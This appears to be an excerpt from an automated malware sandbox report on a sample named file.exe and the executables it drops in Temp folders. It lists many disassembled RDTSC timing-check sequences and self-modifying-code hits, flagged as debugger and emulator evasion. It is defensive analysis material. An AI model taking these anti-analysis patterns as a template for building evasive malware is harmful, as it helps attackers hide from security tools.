Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551095D second address: 5510982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 004C5E77h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F99D0D12E25h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510982 second address: 5510988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510988 second address: 551098C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551098C second address: 55109BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99D0DE6F35h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55109BE second address: 55109E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F99D0D12E1Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590693 second address: 5590699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590699 second address: 559069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559069D second address: 55906C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov bh, 8Dh 0x00000010 pop eax 0x00000011 mov ch, dl 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F99D0DE6F2Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808E7 second address: 55808EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808EC second address: 55808FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808FA second address: 55808FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808FE second address: 5580902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580902 second address: 5580908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580908 second address: 558090E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558090E second address: 5580912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580912 second address: 5580916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558071A second address: 558071E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558071E second address: 5580724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580724 second address: 5580797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99D0D12E20h 0x0000000f push eax 0x00000010 jmp 00007F99D0D12E1Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F99D0D12E26h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F99D0D12E1Eh 0x00000024 sbb al, 00000078h 0x00000027 jmp 00007F99D0D12E1Bh 0x0000002c popfd 0x0000002d mov cx, 1DAFh 0x00000031 popad 0x00000032 pop ebp 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 movzx eax, di 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580797 second address: 558079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552001F second address: 5520025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520025 second address: 552002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552002B second address: 5520048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F99D0D12E1Dh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520048 second address: 552004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552004C second address: 5520052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580CB5 second address: 5580CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530484 second address: 553049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553049A second address: 553049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553049E second address: 55304A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304A4 second address: 55304AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304AA second address: 55304AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304AE second address: 55304F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007F99D0DE6F2Bh 0x00000014 and eax, 4E75759Eh 0x0000001a jmp 00007F99D0DE6F39h 0x0000001f popfd 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304F7 second address: 5530561 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0D12E1Dh 0x00000008 sbb cx, 8BD6h 0x0000000d jmp 00007F99D0D12E21h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F99D0D12E1Eh 0x0000001d push FFFFFFFEh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007F99D0D12E23h 0x0000002a jmp 00007F99D0D12E23h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530561 second address: 553057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 12E00FE4h 0x00000010 pushad 0x00000011 mov cx, AFFFh 0x00000015 push eax 0x00000016 push edx 0x00000017 mov bh, ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553057A second address: 5530603 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0D12E27h 0x00000008 add cl, 0000007Eh 0x0000000b jmp 00007F99D0D12E29h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 add dword ptr [esp], 6461B034h 0x0000001b jmp 00007F99D0D12E1Eh 0x00000020 push 238EA125h 0x00000025 jmp 00007F99D0D12E21h 0x0000002a add dword ptr [esp], 53AA0CDBh 0x00000031 pushad 0x00000032 mov ebx, eax 0x00000034 call 00007F99D0D12E28h 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530603 second address: 5530645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr fs:[00000000h] 0x0000000c pushad 0x0000000d jmp 00007F99D0DE6F2Dh 0x00000012 call 00007F99D0DE6F30h 0x00000017 pop edi 0x00000018 popad 0x00000019 nop 0x0000001a pushad 0x0000001b mov ax, 2DB9h 0x0000001f push esi 0x00000020 mov al, dl 0x00000022 pop ecx 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov ax, di 0x0000002b movsx edx, ax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530645 second address: 55306FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99D0D12E1Dh 0x00000008 mov ah, D3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F99D0D12E29h 0x00000015 xor cx, 4996h 0x0000001a jmp 00007F99D0D12E21h 0x0000001f popfd 0x00000020 push eax 0x00000021 pushfd 0x00000022 jmp 00007F99D0D12E27h 0x00000027 add eax, 56A9C2CEh 0x0000002d jmp 00007F99D0D12E29h 0x00000032 popfd 0x00000033 pop eax 0x00000034 popad 0x00000035 sub esp, 1Ch 0x00000038 jmp 00007F99D0D12E27h 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F99D0D12E25h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55306FA second address: 553070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0DE6F2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553070A second address: 5530719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530719 second address: 553071D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553071D second address: 5530723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530723 second address: 5530750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F99D0DE6F30h 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99D0DE6F2Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530750 second address: 5530756 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530756 second address: 553075D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553075D second address: 553076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553076B second address: 553076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553076F second address: 5530775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530775 second address: 553079A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 278D5CC2h 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 push ebx 0x00000016 mov si, 7C41h 0x0000001a pop eax 0x0000001b mov ecx, ebx 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553079A second address: 553079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553079F second address: 55307B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 0F9Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307B3 second address: 55307B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307B7 second address: 55307D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307D3 second address: 5530895 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99D0D12E1Dh 0x00000009 sbb ah, 00000056h 0x0000000c jmp 00007F99D0D12E21h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [7743B370h] 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007F99D0D12E28h 0x00000024 sbb cl, FFFFFFA8h 0x00000027 jmp 00007F99D0D12E1Bh 0x0000002c popfd 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F99D0D12E28h 0x00000034 xor cx, 3308h 0x00000039 jmp 00007F99D0D12E1Bh 0x0000003e popfd 0x0000003f popad 0x00000040 xor dword ptr [ebp-08h], eax 0x00000043 jmp 00007F99D0D12E26h 0x00000048 xor eax, ebp 0x0000004a pushad 0x0000004b push edi 0x0000004c pushfd 0x0000004d jmp 00007F99D0D12E1Ah 0x00000052 and al, FFFFFF98h 0x00000055 jmp 00007F99D0D12E1Bh 0x0000005a popfd 0x0000005b pop esi 0x0000005c push eax 0x0000005d push edx 0x0000005e push ebx 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530895 second address: 55308E5 instructions: 0x00000000 rdtsc 0x00000002 call 00007F99D0DE6F2Bh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 call 00007F99D0DE6F37h 0x00000015 jmp 00007F99D0DE6F38h 0x0000001a pop eax 0x0000001b popad 0x0000001c mov dword ptr [esp], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308E5 second address: 55308EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308EB second address: 553093C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d pushad 0x0000000e movzx ecx, di 0x00000011 mov si, di 0x00000014 popad 0x00000015 pushad 0x00000016 mov ax, bx 0x00000019 movsx edx, ax 0x0000001c popad 0x0000001d popad 0x0000001e mov dword ptr fs:[00000000h], eax 0x00000024 jmp 00007F99D0DE6F34h 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553093C second address: 5530940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530940 second address: 5530944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530944 second address: 553094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553094A second address: 5530969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+10h] 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530969 second address: 55309E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 call 00007F99D0D12E28h 0x0000000c mov ah, 45h 0x0000000e pop edx 0x0000000f popad 0x00000010 test eax, eax 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 pushfd 0x00000016 jmp 00007F99D0D12E24h 0x0000001b sub cx, FB98h 0x00000020 jmp 00007F99D0D12E1Bh 0x00000025 popfd 0x00000026 popad 0x00000027 jne 00007F9A42B22182h 0x0000002d pushad 0x0000002e movzx esi, di 0x00000031 mov ecx, edi 0x00000033 popad 0x00000034 mov eax, 00000000h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c call 00007F99D0D12E21h 0x00000041 pop esi 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55309E0 second address: 55309E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55309E6 second address: 55309EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55309EA second address: 5530A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-20h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F99D0DE6F37h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530A24 second address: 5530A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [esi] 0x0000000b pushad 0x0000000c mov si, 0473h 0x00000010 pushfd 0x00000011 jmp 00007F99D0D12E28h 0x00000016 add eax, 329CAF78h 0x0000001c jmp 00007F99D0D12E1Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [ebp-24h], ebx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530A7C second address: 5530A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530A80 second address: 5530B0C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99D0D12E20h 0x00000008 sbb cl, FFFFFFD8h 0x0000000b jmp 00007F99D0D12E1Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 jmp 00007F99D0D12E1Fh 0x00000019 pop ecx 0x0000001a popad 0x0000001b test ebx, ebx 0x0000001d jmp 00007F99D0D12E1Fh 0x00000022 je 00007F9A42B21FCCh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov dx, 4426h 0x0000002f pushfd 0x00000030 jmp 00007F99D0D12E27h 0x00000035 xor cx, 96AEh 0x0000003a jmp 00007F99D0D12E29h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530B0C second address: 5530B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530B12 second address: 5530B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530B16 second address: 5530B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 26EA6B second address: 26EA71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 26EA71 second address: 26EA9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnp 00007F99D0DE6F26h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 3E0877 second address: 3E0885 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 3E0885 second address: 3E0889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 3E0889 second address: 3E0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F99D0D12E16h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 3F9FF9 second address: 3F9FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBEADF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D70C94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBC69A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D82AF4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DFAB5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 26EADF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 420C94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 26C69A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 432AF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 4AAB5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Special instruction interceptor: First address: D21B9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	Special instruction interceptor: First address: ECE6D1 instructions caused by: Self-modifying code
